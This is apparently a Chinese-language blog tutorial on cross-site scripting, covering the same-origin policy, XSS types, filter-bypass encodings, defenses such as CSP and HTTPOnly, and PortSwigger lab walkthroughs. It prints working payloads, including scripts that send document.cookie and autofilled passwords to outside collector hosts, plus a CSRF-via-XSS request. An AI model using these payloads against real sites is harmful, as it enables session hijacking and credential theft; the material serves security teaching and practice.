目录

简介

XSS 是 Web 应用中最常见的漏洞,也是最容易挖到,本文会介绍常见 XSS 原理以及绕过方式。

同源策略

同源策略是浏览器安全基石,旨在不同源之间的脚本如何互相访问,具体内容有 3 点:

  1. 读写对方页面 DOM。
  2. 操作数据,其中数据包括 Cookie、localStorage 和 IndexedDB。
  3. 发起 HTTP 请求,JS 发起请求主要用 XMLHttpRequest 和 Fetch。

把同源策略想象成一个盒子,不同盒子之间无法相互干扰。什么意思?可以充分发挥你的想象力,如果可以随机更改双方页面,该是多可怕的一件事,所以同源策略就是来解决这个问题。

下面引用 MDN 同源策略的定义,其加粗的文本内容是对源的定义。

如果两个页面的协议,端口(如果有指定)和主机都相同,则两个页面具有相同的源。我们也可以把它称为“协议/主机/端口 tuple”,或简单地叫做“tuple". ("tuple" ,“元”,是指一些事物组合在一起形成一个整体,比如(1,2)叫二元,(1,2,3)叫三元)

下表给出了相对 http://store.company.com/dir/page.html 同源检测的示例:

URL 结果 原因
http://store.company.com/dir2/other.html 成功 只有路径不同
http://store.company.com/dir/inner/another.html 成功 只有路径不同
https://store.company.com/secure.html 失败 不同协议 ( https和http )
http://store.company.com:81/dir/etc.html 失败 不同端口 ( http:// 80是默认的)
http://news.company.com/dir/other.html 失败 不同域名 ( news和store )

其次凡是能够引用外部资源的标签,也就是带有 src 属性的标签,都不受同源策略束缚。下面来看个例子。

<!DOCTYPE html>
<html>
    <head>
        <title>同源策略案例</title>
    </head>
    <body>
        <script src="//baidu.com/1.js"></script>
    </body>
</html>

script 标签 src 属性链接的是百度下的 1.js,有人会觉得这主机、协议都对不上,不符合同源策略的规则,

其实是在浏览器打开网页当解析到这个 script 标签时,浏览器会发送一个 GET 请求(只要带有 src 属性的都会发送 GET 请求)将百度下 1.js 内容嵌入到当前页面中,此脚本成为当前页面的一部分,所以符合同源策略。

当一个脚本被加载到当前页面中,此脚本可对符"合同源策略"的页面做任何操作,这时风险悄然而至。

漏洞原理

通过注入 HTML 标签(本质上是 HTML Injection),用户访问攻击者发送的页面时浏览器先解析 HTML,随后碰到 JS 代码交给 JS 引擎解析,恶意 JS 代码执行完成即完成攻击。

XSS 攻击的是客户端浏览器,JS 主要操作的也是浏览器,浏览器其中存有用户凭证,也就是服务端返回的会话凭证,这个应该也能称作会话劫持。

所谓跨站是指其中恶意 JS 脚本由其他地方来传入,并不是原站点所有。

跨站脚本使用的是 JS,只要能产生 XSS,那就可以用 JS 做任何事情,这需要前端玩儿的溜,对 JS 各种特性非常了解,没事推荐多去 MDN 上转转,去了解 HTML/CSS/JavaScript 新特性。

这里我列举出几个常见利用场景:

  1. 获取 Cooie、Token 凭证。
  2. 获取浏览器密码管理器保存的密码。浏览器在你点击登录后会提示你需要不需要保存密码,那么可以直接保存下次自动填充。
  3. 重定向钓鱼站点,重定向钓鱼,模拟登录框钓鱼。
  4. 按键记录,onkeypress 事件监听键盘按键。
  5. 广告插入。
  6. 截屏。
  7. 通过 XSS 发送请求来利用其他功能,等同于XSS 利用 CSRF。

XSS 漏洞分类

  • 反射型(Reflected XSS)
    • DOM 型(DOM Based XSS)
  • 存储型(Stored XSS)

反射型

构造一段 Payload,标记中包含恶意 JS 代码,将这个 URL 发给受害者诱导其点击——像精准诈骗给人下套儿,打开页面后,后端应用程序将 Payload 返回到客户端浏览器,其中 script 标签内 JS 代码被浏览器解析执行后就会中招。

为什么会攻击成功?根据同源策略来看,后端应用程序返回的 Payload 和其他返回的 JS 文件一样都是这个服务器上的,客户端浏览器信任服务器返回的 JS 所以执行成功。

这样看来反射型产生的原因是应用程序层面对前端传来的数据没做清洗,原封不动返回,前端也不做处理导致的。漏洞成因明白要想攻击成功还是有点难度,其中利用难点是要求受害目标主动打开此链接。

//跳转钓鱼页面
<script>window.location='http://地址'</script>    

//用户点击链接后,服务端接收到 JS 未拦截,返回到客户端浏览器进行解析,此时客户端把自己的 cookie 发给 js 文件中地址接收。
<script>new Image().src="http://地址/GetCookie.php?output="+document.cookie;</script>  

在实战中避免通过聊天工具发送过长 URL 引起警惕,会用到 Short URL,将一个长链接转成短链接。

  • https://www.raingray.com/test?xss=<img src=# onerror=alert(1)> -> https://xx.cn/23JFS

它原理很简单就是查询 xx.cn DNS 记录,接着请求服务器获取 23JFS 对应的长链接内容,通过 301 重定向到目标站点。

DOM型

DOM 型分类上由于它们俩特性表面类似,都是需要与用户交互,我个人倾向于包含在反射型中。

它产生的原因是 JS 未处理好标签的参数,进而精心构造的 Payload 被 JS 以操作 DOM 的形式写入,浏览器解析即中招。

市面上还有人问 DOM 型和反射型区别是什么?通常答案是 DOM 型不会向服务器发送请求,而是直接由 JS 引擎完成操作。什么叫不向服务器发送请求?这什么意思?你去浏览一个站点时服务器响应内容中包含 JS 文件,恰巧人家 JS 写的有问题,此时你通过前端的方式触发 XSS 其实是在使用浏览器已经缓存后的 JS 文件。这只是不发请求的场景。

发请求的场景是服务端存了 XSS Payload,发起请求获取到数据,刚好 JS 处理这条数据是直接写入 DOM,这种情况是触发点在前端 JS 里。

存储型

恶意 JS 通过应用程序被存到后端数据库,客户访问页面时,由 Web 应用将数据查询结果返回给客户,浏览器解析后页面就会中招。

存储型自动攻击浏览此页面所有用户,就像抗战片缺不了打伏击镜头一样,国军布好反步兵地雷,日军从岔路口经过,砰的一声,一顿痛打。

它与反射性型区别在于反射型需要诱导受害者主动浏览链接,而存储型只需等待用户自己浏览这个页面,因此存储型危害相对于前两种会更大一些。

实际案例

时间紧,任务重,开发为了快速完整业务,编码时疏忽了安全这个点。

案例一

在留言区域存在XSS。

案例1-漏洞位置.png

留言审核通过,主要是没在后端对传输的数据做审核。

案例1-漏洞截图.png

在测试中验证漏洞就行,别动不动弹个框影响人家正常业务 :) ,比如将 alert 替换为 console.log。另外还要避免使用公用 XSS 平台,你不知道他会不会把打到的数据偷偷使用,推荐上 github 找套源码自己搭建较为安心。

案例二

在发布页面存在存储型 XSS,问题出在标签参数可控,并且没有过滤。

案例2-漏洞位置.png

点击发布更改标签内容,发现 script 标签成功加载。

案例2-漏洞截图.png

PS:这码打的实在不及格,好在人家已经修完了。

测试方法

输入特定值,找插入的内容有没展示页面上,再确定是在标签里还是 JavaScript 代码里,是标签则闭合标签,代码则闭合或注释代码。

以前有种常见思路就是见框就插,最好是找管理员能够看到的地方。

时时注意页面上可控参数,实在没思路可以考虑看它 JS 怎么写的。

测试 GET 和 POST 每一个参数,观察在页面上的反应。

绕过方法

首先判断是前端还是后端过滤,再寻找特定方案。

编码

浏览器解码顺序

浏览器收到服务器返回的数据整个解码过程是 HTML -> URL -> JavaScript

  1. 执行 HTML 解码构建 DOM 树。
  2. 对标签内的 URL 进行解码还原链接。
  3. 有 JavaScript 编码(JavaScript 编码后等同于 UnionCode 编码)则进行解码。

HTML 实体引用

当特殊字符 &# 没被过滤,可以转成 HTML 实体,浏览器最终会将 HTML 实体转成字符。

如:

<img src="#" onerror="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

最后浏览器构建 DOM 会自动转换成。

<img src="#" onerror="javascript:alert(1)">

转的时候有注意事项要关注,编码的不能是标签名称、标签属性编码,这样无法构成 DOM 树。

<!--不能对属性等号编码-->
<img src="#" onerror&#x3d;"&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

<!--不能对属性名称编码-->
<img src="#" &#x6f;&#x6e;&#x65;&#x72;&#x72;&#x6f;&#x72;="javascript:alert(1)">

<!--不能对标签名称编码-->
<&#x69;&#x6d;&#x67; src="#" onerror="javascript:alert(1)">

接下来看编码有几种方式。

HTML 编码应该叫 HTML character entity references 实际分两类:

前面 HTML character entity references 里有 Numeric character reference 和 Named character references 两个分类,简称 NCR,NCR 类似于给某个字符打上一个唯一的标签,用几个字符去表示另一个字符,比如 390XZ -> a,390XZ 就是你定义的标签,而 a 则是要表示的字符,它俩处于一种映射关系,以后只要见到标签就知道对应字符是啥。

NCR 也分为十进制和十六进制两种表示方式,十进制加上前缀 &#,十六进制前缀加 &#x

还是以字符 t 为例,十进制用 't'.charCodeAt() 计算结果为 116,带上前缀 &# 全称是 &#116;,十六进制加上 &#x 形成实体字符 &#x0074;,放在 HTML 里浏览器将解析为字符 t。

这些字符对应的十/十六进制在 HTML 标准中给出了一张表格

Name Character(s) Glyph
Aacute; U+000C1 Á
Aacute U+000C1 Á
...... ...... ......

第一列是实体名称,更为专业的叫法是 character entity reference,在 HTML 中引用很简单,以 & 开头和 ; 结尾即可,中间的值就是实体名称,整个 HTML entity 是 &Aacute;

第二列是字符对应 Unicode code point 十六进制值,只需将 U+ 后面作为值即可,以分号结尾不再赘述,整体是 &#x000C1;

第三列是对应字符。

十进制在表格中没写出来,但官方在表尾给出 JSON 数据里面存有。

{
  "&Aacute": { "codepoints": [193], "characters": "\u00C1" },
  "&Aacute;": { "codepoints": [193], "characters": "\u00C1" },
    ......
}

codepoints 的 value 数组就是十进制,使用时只需复制表格中 Name 搜索找到对应十进制数值就好。以 &Aacute; 为例对应十进制是 &#193;

需要注意的是,在 GET、POST 参数作为参数值传递需要把 & 编码防止把被认作参数分隔符,GET 参数需要把 # 编码防止变成 fragment。

UnionCode 编码

UnionCode 编码是以 \u 开头,如 \u5149 表示字符 “光”,5149 是十六进制数值。

方式 1

fromCharCode() 配合 eval() 绕过字符过滤。

关键字被过滤使用 charCodeAt() 转为 UnionCode 编码。

var strs = "alert(1)";
var codeResult = "";
for (var i = 0; i < strs.length; i++) {
    codeResult += strs.charCodeAt(i) + ",";
}
codeResult.replace(/,$/, "");
'97,108,101,114,116'

Console 运行返回。

'97,108,101,114,116,40,49,41'

最终使用 eval() 将执行 fromCharCode() 从编码转换回来的字符。

eval(String.fromCharCode(97,108,101,114,116,40,49,41))

缺点是一旦使用 CSP 设置脚本来源,没有添加 unsafe-eval 就会无法使用 eval,可以尝试去 MDN 执行上述 alert 语句查看报错信息。

最简单的方式是直接 eval("Payload")eval() 方法接收 String 参数,你可以将 Payload 拆分用字串拼接起来。

eval("al" + "ert" + "(1)")

最终字符串拼接等同于。

eval("alert(1)")

方式 2

在 JS 里可以用 't'.charCodeAt().toString(16) 获取字符 t 的十六进制数值 74,由于 Unicode 值是十六进制数值共四位,不满 4 位要在前面补 0,最终加上前缀 \u 形成 UniCode 编码,\u0074

正则

有的正则没写到位,边界值考虑不完全,导致疏漏,如下面正则没有启用全局匹配和大小写模式。

/<script>/
/<\script>/

因此可以用 <scr<script>ipt> 绕过全局匹配,<scripT> 绕过大小写匹配。

事件

无法使用 <script></script> 标签时可以用事件内容属性(event handler content attributes)执行 JavaScript 代码。

<img src=# onerror='alert(1)'>

做项目中更多时候会参考 Cross-site scripting (XSS) cheat sheet,根据不同情况直接复制粘贴。

空格绕过

有时候不光禁止某些标签使用,还将部分事件过滤掉,规则是以空格做字符串分割。

<img src=# onerror=alert(1)> 将被分割为数组 new String[] {"src", "onerror"}; ,我们可以用 / 替代空格,一旦取不到属性就绕过检测。

JavaScript 伪协议

Javascript pseudo protocol 经常见于 a 标签用于禁止默认行为 javascript:void(0),如果你给出语句一样会被执行。

此处 alert('1') 将被 JavaScript 执行。

<!-- javascript:alert('1') Chrome 和 Safari 浏览器都成功执行 -->
<a href="javascript:alert('1')">javascript 伪协议</a>

可以放入各种资源的连接属性的值上,比如 a、img 标签等。

data URI scheme

data URI scheme 早在 2012 年 Henning Klevjer 提出一种思路,通过加载数据来钓鱼打 XSS。

将此数据在地址栏执行会弹出框。

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

等同于 <script>alert('XSS')</script>

data url 在 Chrome 无法触发,Safari 可以。

<!-- <script>alert('XSS')</script> -->
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">data 伪协议</a>
<!-- <script>alert("1");</script> -->
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiMSIpOzwvc2NyaXB0Pg==">data 伪协议</a>

圆括号绕过

使用 ES6 模板字符串反引号替代括号。

alert`1`

等同于语句:

alert(['1'])

schema 绕过

加载第三方 js 时可以用 <script src="//www.baidu.com/1.js"></script> 绕过 schema 检测。

Base 标签劫持

<base href="http://sdf.com/"> 标签作用于页面上所有使用相对路径的资源,所有内容都从 href 属性定义的 url 中获取。可以用于劫持页面加载的资源。

自定义标签

当所有标签已经被拉入黑名单无法使使用,可以尝试自定义标签。

原理参见 Lab: Reflected XSS into HTML context with all tags blocked except custom ones

SVG(待补充)

HTTPOnly 绕过

HTTPOnlay 没法直接绕过,可以间接通过 JavaScript 获取 Cookie。

调试页面

当你携带 Cookie 访问 phpinfo,就会显示其 $_COOKIE['PHPSESSID']。所以目标存在 phpinfo 就可以用 XSS 发请求获取 phpinfo 响应中的请求头,这样间接拿到 Cookie。

phpinfo 中的 cookie.png

HTTP Trace 请求方法

2003 年 1 月 20 号 Jeremiah Grossman 提出 CROSS-SITE TRACING (XST) 利用方式,原理很简单,就是通过 XSS 调用 XMLHttpRequest 发送 Trace 方法的请求得到 Cookie。

TRACE 方法做什么用的?TRACE 方法原意是用于调试,使用 TRACE 方法发送请求,WebServer 会在 Response 返回请求行、请求头。

$ curl -X TRACE -H "Cookie: 1=2" example.com
TRACE / HTTP/1.1
User-Agent: curl/7.24.0
Host: example.com
Accept: */*
Cookie: 1=2

能把返回请求头,那么可以通过浏览器发送 TARCE 请求来得到 Cookie 请求头,但现代浏览器中使用 fetch 和 XMLHttpRequest 都不能发送 TRACE 请求,意味着通过浏览器发请求这条路已经堵死。

浏览器 TRACE 请求方法发送失败.png

在 2013 年左右间,Flash 大行其道,还可用 ActionScript 和 XMLHttpRequest 发送 TRACE 请求,如今随着 Flash 凋亡,多数站点不再使用 ActionScript,这一历史方法也无法奏效。

应用 API 返回 Cookie

在有一次打 XSS 的过程中,发现前后端分离应用有个刷新 Token 的功能,携带自己的 Token 延长使用时间。而且刷新完成后会在响应头和响应体重返回出来。

GET /api/v2/users/token/refresh?_=1712471149988 HTTP/1.1
Host: example.com
Accept: */*
Cookie: token=112233
HTTP/1.1 200 OK
Date: Mon, 08 Apr 2024 01:21:39 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: max-age=0, no-store, private
Pragma: no-cache
Expires: Sun, 12 Jul 2015 19:01:00 GMT
Set-Cookie: token=112233; expires=Mon, 08-Apr-2024 03:21:40 GMT; Max-Age=7200; path=/; secure; samesite=lax
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8

{"errCode":null, "language":"zh_CN", "message":null, "mode":null,"data":"112233"}

Web 服务器(待补充)

其次是一些低版本 Apache 可以绕过 HTTPOnly。

前端框架 XSS(待补充)

  1. Vue,https://cn.vuejs.org/v2/guide/security.html
  2. React,JSX 语法
  3. Angular,https://angular.cn/guide/security
  4. Node JS Pug 模板

XSS Platform

自建 XSS 平台(待完成)

写 XSS 接收平台,也很简单,后端存储前端发送的信息到数据库,通过页面展示出来。

主要是 JS 发请求的代码做个混淆。

后端数据库采用 SQLITE,语言使用 PHP。

BEEF

XSS Hunter

待补充...

防御

一切修复围绕编码展开

在服务端输出数据前实体转义 ><'"/\=& 为 HTML 实体字符,其中尖括号用于闭合标签,引号则是闭合标签中属性,等于号防止引用文件或执行语句,与符号则是防止浏览器将其解码为正常字符,比如 &#x3c; 就等同于 <

为了防止 DOM 型 XSS 需要在 JS 处理参数时对这些符号进行转义,'"\换行(转义后结果为\n)

在修复存储型 XSS 首先要完善代码防护,随后把数据库中 Payload 删除,不过这样做成本太高(涉及跟运维和开发沟通申请权限等事项),一般是将数据库返回的特殊字符转义成 HTML 实体字符交给客户端,最终目的是要避免漏洞修复后别人访问页面再次造成威胁。

如果过滤策略不能执行,在防御部分过滤字符应根据实际业务功能过滤,比如一个只能输入数字的地方,我们就应该杜绝除数字以外的内容;说这个的原因是修复漏洞要尽量考虑全面,要避免编码带来业务上的影响,用户输入个 > 结果被编码了,非常影响体验。

前面提到的操作不光后端需要进行修改,前端 JS 也要做数据格式检查,这样会减少服务端要检查的请求为服务器减轻负载。

只有输入的内容需要展示在页面上,才验证输出。

给你举个例子,在搜索功能上其中搜索参数会作为某个标签的参数进行使用,但这个参数不会明显展示在页面上,它也存在 XSS,不要误解为只有像搜索框、留言板、个人介绍等地方会显示输入内容,也要关注页面其他标签有没相互传递参数。

CSP

由于页面上输入字符数量有限,有时不得不引入其他站点 script 来达成攻击,由于同源策略的原因浏览器信任同源的脚本,只要把页面上请求的脚本控制在可信范围内就能避免引入外链脚本。

通过 WebServer 配置 Response HTTP Header 的 Content-Security-Policy 字段指定资源来源,只有外联脚本来自指定链接,浏览器才发起请求获取内容,以此控制资源可信问题。

CSP

下面的配置是说页面上所有资源只能来自同源的地址。CSP 还有其他可配置的选项,例如媒体、图片、字体、脚本、farme、样式。

Content-Security-Policy: default-src 'self'

CSP 有个缺点,在大型站点中不好维护,站点一大资源引用方面就需要做到很细致的梳理。

HTTPOnly

如果前端工程师无要操作 Cookie 时,可在用户名密码等关键功能点上 HTTPOnly 字段,减少发生漏洞利用时的危害。

php.ini 设置 HTTPOnlay:

session.cookie_httponly = true;

问题

Q: Google and Mozilla will bake HTML sanitization into their browsers,浏览器 API 支持过滤 XSS 防御起来越发便捷。

靶场练习

Web Security Academy

Lab: Reflected XSS into HTML context with nothing encoded

题意:执行 alert() 方法完成挑战。

打开靶场有一搜索框,使用 form 表单 GET 方法向后端提交 search 参数值。

观察请求发现后端页没有对特殊字符做转义,直接把值写入 H1 标签用于展示搜索的关键字。

至此使用 Payload 完成实验:

https://HOST/?search=%3Cscript%3Ealert(1)%3C/script%3E

Lab: Stored XSS into HTML context with nothing encoded

题意:将 Payload 在留言区 Comment 填写存入数据库,重新浏览页面以执行 alert() 方法。

这个应用像是社区网i站,打开帖子后有留言功能,会展示留言人 name、website、comment 3 个参数。通过留言把 comment、name、email、website 都加上 Payload 后只有 comment 存在问题,其他都会转义。

抓到 POST 请求将 comment 参数值改为 <script>alert('comment')</script> 完成挑战。

Lab: Exploiting cross-site scripting to steal cookies

题意:评论区有存储型 XSS,获取用户 Cookie 登录其账户。

通过在 Comment 输入 Payload <script>console.log(document.cookie)</script> 确实可以输出 Cookie,但无法完成任务。

查看了任务解决方案,需要将 Cookie OOB 传到其他服务器上,再替换 Cookie 登录其他账户。

Payload:

<script>
fetch('https://l9vzeow6zn42y3noyglce8rvym4cs1.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

打开开发者工具发现确实将 Cookie 发送出去:

开发者工具确认Cookie被发送到攻击者服务器.png

去 Server 获取别人浏览此页面自动发送的 Cookie。

Collaborator收到Cookie.png

请求应用时替换获取到的 Cookie 完成任务。

使用攻击者Cookie访问应用.png

Lab: Exploiting cross-site scripting to capture passwords

题意:评论区有存储型 XSS,利用浏览器保存密码自动填充功能获取用户名和密码登录其账户。

正常浏览器在你输入账户后会提示你是否要保存输入的账户。

浏览器提示保存密码.png

在下次浏览此域名时页面刚好有输入框,会自动填充保存的账户,填充的过程自动触发 onchange 事件。

所以可以利用 HTML 注入配合 XSS 获取数据,先插入和应用登录一模一样的输入框标签,然后通过 onchange 事件把两个 input 输入框的用户名和密码信息 value 作为 data 发送到目标站点。

盗取浏览器自动填充的密码.png

Payload:

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{method:'POST',mode:'no-cors',body:document.querySelector('#username').value+':'+this.value});">

默认的官方 Payload 有两个细节需要注意:

  1. username.value 是获取 id 为 username 的 value 值,IE 遗留产物,所以现代浏览器支持,不过不推荐这样用,建议使用 document.querySelector("#username").value
  2. if 语句可以不要花括号,例如 if (true) console.log(1); else console.log(0),也是不推荐的写法,最好加上花括号,方便标识要执行的区域。

整个解决过程是直接插入,别人浏览时就会自动触发事件发送账户,然后登陆完成实验室。

获取自动填充的账户登录应用.png

Lab: Exploiting XSS to perform CSRF

题意:评论区有存储型 XSS,需要通过 XSS 发送请求更改受害者邮箱改为 Hacker 的邮箱。

说白了就是通过 XSS 发送请求利用受害者身份操作应用,只不过看起来不是用户自主触发的请求,而是 XSS 发送的也可以叫 CSRF。

靶场有个应用可以使用 wiener:peter 登录,只有一个功能修改用户邮箱。

Lab Exploiting XSS to perform CSRF 应用功能点.png

请求如下:

POST /my-account/change-email HTTP/1.1
Host: ac711fff1fc66e7cc05805a100e900fe.web-security-academy.net
Cookie: session=60jH2aBbjaZnSMt0v0mRr9U9NDOxs15K
Content-Length: 59
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://ac711fff1fc66e7cc05805a100e900fe.web-security-academy.net
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ac711fff1fc66e7cc05805a100e900fe.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

email=test%40test.com&csrf=HTzyYZORw8fAOWcr5erjNCNy4DsPLRTZ

可以发现有 csrfToken,经过开发者工具搜索在提交评论的 form 表单和修改邮箱的发现隐藏的 input 标签,它俩 value 一致:

<input required="" type="hiddean" name="csrf" value="HTzyYZORw8fAOWcr5erjNCNy4DsPLRTZ">

Payload:

<script>
    window.onload = () => {
        fetch('https://ac711fff1fc66e7cc05805a100e900fe.web-security-academy.net/my-account/change-email', {
            method: 'POST',
            mode: 'no-cors',
            body:"email=testaz@test.com&csrf=" + document.querySelector("input[name='csrf']").value
        });
    };
</script>

如果此评论页面上和修改邮箱页面 csrfToken 不同,那就要先获取 /my-account/change-email 页面的响应数据 fetch('HOST/my-account').then(response => response.text()),通过正则匹配出 csrfToken。

Lab: Reflected XSS into HTML context with most tags and attributes blocked

题意:搜索功能中有反射型 XSS,过滤了常见的 XSS vectors。执行 print() 完成实验。

搜索功能 GET 参数 search 会把值返回到前端。

还可以闭合 h1 标签:search=1231223%3C/h1%3E%3C!--\

当标签不允许的时候返回 "Tag is not allowed",属性不允许返回 "Attribute is not allowed",猜测为黑名单机制。

大小写无法绕过,但是 <+a> 尖括号前面可以添加空格,虽然后端返回来就是正常的。

Lab Reflected XSS into HTML context with most tags and attributes blocked验证过程.png

不知道为什么 Chrome、Firefox 都将其解析成 URL 编码,无法利用。

Lab Reflected XSS into HTML context with most tags and attributes blocked验证过程2.png

经过手动测试发现超多不允许使用的标签:

<a>
<img>
<svg>
<script>
<center>
<code>
<style>
....

不允许使用的属性:

onclick
onload
onerror
onmouseover
onanimationend
onanimationiteration
onanimationstart
onbeforeprint
onblur
...

只能 Intruder 跑一波所有的 HTML 标签和事件,这些内容可以在 Cross-site scripting (XSS) cheat sheet,在线拷贝。

跑完后只有 body 标签可用,事件只有 onresize 允许用,接着就直接查 备忘录 Payload,或者自己构造个 <body onresize="print()">,接着就按照官方答案提交即可。

从这个 lab 能学到,遇到拦截不要慌,先确定是白名单还是黑名单,能不能闭合,黑名单你就遍历一下哪些利用。

Lab: Reflected XSS into HTML context with all tags blocked except custom ones

题意:执行 alert(document.cookie) 完成 lab。

题目提示所有标签都加入黑名单,只能使用自定义标签。

跑了波标签部分能用,所有事件属性不受限制:

animate
animatemotion
animatetransform
set

查了下备忘录,这些都需要结合 svg 使用,但 svg 被拉入黑名单,此情况无法利用啊,官方的解决方案是使用自定义标签触发事件。

Payload:

<xss id=x onfocus=alert(document.cookie) tabindex=1>

tabindex 属性代表应用可以聚焦,一般来说使用 Tab 键聚焦,多个带有 tabindex 的应用会从 1 开始由小到大按照顺序访问,最后到 0 结束这个顺序

tabindex属性tab键演示.gif

一旦聚焦就会触发 onfocus 事件,如果是反射型 XSS 可以通过锚点的方式访问导航到 id 触发,例如 http://HOST/index.php?id=<raingray id=x onfocus=alert(document.cookie) tabindex=1>#x,存储型就直接在展示数据的页面上加个 #x,例如是在 index.php 上已经存储 Payload,那么可以用 index.php#x 触发事件。

需要提个醒这里说的自定义标签,其标签名可以随意填写,并不需要按照官方一摸一样。

本次 lab 可以得知所有标签都被拉黑的情况下,自定义标签触发也可以触发 XSS。

Lab: Reflected XSS with event handlers and href attributes blocked

题意:允许使用部分标签,但所有事件和 href 属性被拉黑,点击 Click me 文字触发 alert() 完成 lab。

还是老规矩,先闭合 h1,然后尝试,遍历可用标签、事件,更改 href 属性大小写。

可用标签:

a
animate
image
title

animate 和 image 都是需要配合 svg 使用,暂时放弃,事件没一个可用,href 大小写无效。

所以出发点就在 a 标签上,title 又不能点击,突破点在于全局属性,href 不能用其他的呢?

最终还是看了官方 Payload:

<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

对比自己的操作发现遍历标签不全,部分标签没跑出来。

分解一下 Payload 组成。

<text> 用于定义矢量文字,x 和 y 属性定义文字处于 svg 的位置:

<svg>
    <text x="0" y="7">test</text>
    <text x="20" y="35">My</text>
    <text x="40" y="35">cat</text>
    <text x="55" y="55">is</text>
    <text x="65" y="55">Grumpy!</text>
</svg>

text标签功能演示.png

<animate> 标签用于 svg 动画的时长,以及什么样式需要修改以及改成什么值。attributeName 属性定义父元素要被改变的属性,values 为对应值:

<svg>
    <text x="65", y="30">
        <a>
            1234
            <animate attributeName="href" values="1231231" />
        </a>
    </text>
</svg>

animate绑定href属性和value.gif

所以 Payload 意思是 <text> 定义文字,animate 给 a 标签绑 href 属性,值是伪协议。

根据个人尝试也能使用 <text> 包裹 <a>,替换掉官方的 <a> 包裹 <text>

<svg><text x=65, y=30><a>1234<animate attributeName="href" values="javascript:alert(1)" /></a></text>

此题目如果能使用 circle 标签那么类似的 Payload 如下:

<svg><animate href=#x attributeName=href values="javascript:alert(1)"/><a id=x><circle r=100>

Lab: Reflected XSS with some SVG markup allowed

题意:允许使用 svg 标签和部分事件。执行 alert() 完成 lab。

遍历了可用标签:

animatetransform
image
svg
title

可用事件:

onbegin

要结合 svg、animatetransform 使用 onbegin 事件。

Payload:

<svg><animatetransform onbegin=alert(1)>

animatetransform 主要控制自身父级元素图形的动画,包括速度、旋转等等。onbegin 则是动画开始时要触发的事件。

Lab: Reflected XSS into attribute with angle brackets HTML-encoded

题意:尖括号被转为 HTML Entity,请闭合属性执行 alert() 完成 lab。

访问 https://HOST.web-security-academy.net/?search=12312%3C/h1%3E 直接尖括号发现被转为实体:

<h1>0 search results for '12312&lt;/h1&gt;'</h1>

但使用开发者工具搜索 12312 发现 form 表单中 input value 属性可以闭合:

<form action="/" method="GET">
    <input type="text" placeholder="Search the blog..." name="search" value="12312</h1>">
    <button type="submit" class="button">Search</button>
</form>

Payload:

"autofocus onfocus="alert(1)

闭合完成后 autofocus 全局属性将自动聚焦到输入框上,触发 onfocus 事件弹出警告框,过程无需用户触发。

官方的做法是 onmouseover。

Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded

题意:评论区有存储型 XSS,点留言人姓名时触发 alert() 完成 lab。

我寻思就在 Comment、Name、Email 填上信息,其中 Site 可以省略,发现 Comment 和 Name 会吧尖括号给和双引号转成 HTML 实体:

<section class="comment">
    <p>
        <img src="/resources/images/avatarDefault.svg" class="avatar">
        &lt;a href="javascript:alert(22)" &gt;test&lt;/a&gt; | 05 March 2022
    </p>
    <p>&lt;a href="javascript:alert(11)" &gt;test&lt;/a&gt;</p>
    <p></p>
</section>

Lab Stored XSS into anchor href attribute with double quotes HTML-encoded过滤字符展示.png

最后得知把 Website 填上后会在名称上给加个 a 标签。

Lab Stored XSS into anchor href attribute with double quotes HTML-encoded功能展示.png

所以 Payload 只能在 href 上使用。

如果能闭合属性则可以使用自动聚焦,触发事件过程全自动,简单快捷:

"autofocus onfocus=alert(document.cookie) 1="

不能闭合的话就使用官方的 Payload,采用伪协议手动点击连接触发:

javascript:alert(1)

Lab: Reflected XSS in canonical link tag

题意:canonical link 标签中会展示用户的输入,转义尖括号。请执行 alert() 完成 lab。

怎么猜也没思路,最终还是看官方解决方案,完成任务。

官方 Payload:

https://your-lab-id.web-security-academy.net/?'accesskey='x'onclick='alert(1)

原来是当前浏览的链接会在 link 标签里展示:

<link rel="canonical" href='https://ac311f321ffa8d05c002862d001c009f.web-security-academy.net/'/>

还是不够细心,没去搜当前页面的参数。

通过闭合 href 属性来添加事件使用 accesskey 注册快捷键,按下快捷键触发 onclick 事件:

<link rel="canonical" href='https://ac311f321ffa8d05c002862d001c009f.web-security-academy.net/?'accesskey='x'onclick='alert(1)'/>

以 Windows 系统 Chrome 浏览器为例是按下 Alt + x 触发。

但不同浏览器、系统操作所需组合键不同,请查看下表找到对应组合键:

https://developer.mozilla.org/zh-CN/docs/Web/HTML/Global_attributes/accesskey

激活 accesskey 的操作取决于浏览器及其平台。

Windows Linux Mac
Firefox Alt + Shift + key On Firefox 57 or newer, Control + Option + key -OR- Control + Alt + key On Firefox 14 or newer, Control + Alt + key On Firefox 13 or older, Control + key
Internet Explorer Alt + key N/A
Google Chrome Alt + key Control + Alt + key
Safari Alt + key N/A Control + Alt + key
Opera 15+ Alt + key Control + Alt + key
